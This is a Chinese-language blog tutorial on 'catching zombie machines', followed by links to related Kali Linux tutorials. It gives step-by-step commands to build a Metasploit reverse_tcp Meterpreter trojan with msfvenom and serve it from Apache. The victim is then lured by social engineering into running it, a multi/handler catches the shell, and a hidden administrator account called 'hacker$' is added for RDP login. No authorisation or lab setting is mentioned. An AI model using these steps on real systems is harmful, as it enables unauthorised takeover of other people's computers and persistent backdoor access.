kali linux捉肉鸡教程,使用Kali中的Metasploit生成木马控制Windows系统

一、概念：Kali基于debin的数字取证系统，上面集成了很多渗透测试工具，其前身是BT5 R3(BtackTrack)。

其中Metasploit是一个综合利用工具，极大的提高了攻击者的渗透效率，使用Ruby开发的，使用非常方便，进入该工具的方式：msfconsole ，MSF依赖于Postgresql数据库，在使用MSF之前要开启数据库。

二、步骤：

Step1：生成木马，msfvenom

msfvenom -p windows/meterpreter/reverse_tcp lhost=Kali的IP lport=5555 -f exe >/root/Desktop/evilshell.exe

-p 参数后跟上payload，攻击成功后要做什么事情

lhost 后跟监听的IP

lpost 后跟监听端口

-f 后跟要生成后门文件的类型

>重定向

Step2：将生成的木马文件evilshell.exe 拷贝到/var/www/html，开启apache服务，在肉鸡上打开浏览器，访问该站点(Kali的IP)，下载木马文件。

cp evilshell.exe /var/www/html/

service apache2 start

Step3：开启MSF，提前查看postgresql运行状态 msfconsole

ps -aux |grep postgresql

msfconsole

exploits：开发利用，用来攻击某些服务、平台、系统等用到的工具

payload：载荷载体，攻击成功后要操作什么

输入以下命令

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp(选择木马时选的payload)

msf5 exploit(multi/handler) > show options

msf5 exploit(multi/handler) > set lhost kali的IP

msf5 exploit(multi/handler) > set lpost 5555

msf5 exploit(multi/handler) > run(或者exploit)

Step4：在肉鸡中诱导用户点击exe程序(社会工程学攻击)，在Kali中就会得到肉鸡的shell(meterpreter)

msf5 exploit(multi/handler) > run

Step5：现在就可以给肉鸡添加用户了

net user

net user hacker$ /add

net user hacker$ 123.com

net localgroup administrators hacker$ /add 添加到管理员组

net user hacker$

Step6：远程登录肉鸡计算机

rdesktop + windows的IP

至此，使用Kali控制Windows成功！

kali linux捉肉鸡教程,使用Kali中的Metasploit生成木马控制Windows系统相关推荐

Kali Linux网络扫描教程(内部资料)
Kali Linux网络扫描教程(内部资料) 试读样张:http://pan.baidu.com/s/1qWuNSYw 前言 Kali Linux是业内最知名的安全渗透测试专用操作系统.它的前身就 ...
基于Android设备的Kali Linux渗透测试教程第1章渗透测试
基于Android设备的Kali Linux渗透测试教程第1章渗透测试渗透测试(Penetration Testing)是一种通过模拟攻击者所采用的技术与方法,攻击目标系统的安全控制措施,并取得访问 ...
Kali Linux安全渗透教程1.1Linux安全渗透简介
Kali Linux安全渗透教程1.1Linux安全渗透简介渗透测试是对用户信息安全措施积极评估的过程.通过系统化的操作和分析,积极发现系统和网络中存在的各种缺陷和弱点,如设计缺陷.技术缺陷.本章将 ...
Kali Linux 安全渗透教程第六更1.4.2 安装至USB驱动器Kali Linux
1.4.2 安装至USB驱动器Kali Linux 安全渗透教程<第六更> Kali Linux USB驱动器提供了一种能力,它能永久的保存系统设置.永久更新.在USB设备上安装软件包, ...
android设备安装kali,在Android设备上安装Kali Linux基于Android设备的Kali Linux渗透测试教程大学霸...
在Android设备上安装Kali Linux基于Android设备的Kali Linux渗透测试教程大学霸基于Android设备的Kali Linux渗透测试教程2 Android是一种基于Lin ...
Kali Linux 安全渗透教程第七更大学霸1.4.3安装至VMware Workstation
Kali Linux 安全渗透教程<第七更>大学霸 1.4.3安装至VMware Workstation VMware Workstation是一款功能强大的桌面虚拟计算机软件.它允许用户 ...
Kali Linux 安全渗透教程第五更1.4 安装Kali Linux
Kali Linux 安全渗透教程<第五更>1.4 安装Kali Linux Kali Linux 安全渗透教程<第五更>1.4 安装Kali Linux Kali Linux ...
Kali Linux 安全渗透教程第一更
Kali Linux 安全渗透教程目录第1章 Linux安全渗透简介 1.1 什么是安全渗透 1.2 安全渗透所需工具 1.3 Kali Linux简介 1.4 安装Kali Linux ...
Kali Linux安全渗透教程（内部资料）
Kali Linux安全渗透教程第一章(内部资料) 下载地址://pan.baidu.com/s/1dDnEL4P Kali Linux安全渗透教程第二章(内部资料) 下载地址:://pan.baid ...
kali linux 网络架构,Kali Linux网络扫描教程大学霸内部资料
Kali Linux网络扫描教程大学霸内部资料 Kali Linux网络扫描教程大学霸内部资料黑白教程:95元彩色教程:118元介绍:渗透测试是一门操作性极强的学科.掌握该技能的最佳方式就是大量 ...

kali linux捉肉鸡教程,使用Kali中的Metasploit生成木马控制Windows系统

kali linux捉肉鸡教程,使用Kali中的Metasploit生成木马控制Windows系统相关推荐

最新文章

热门文章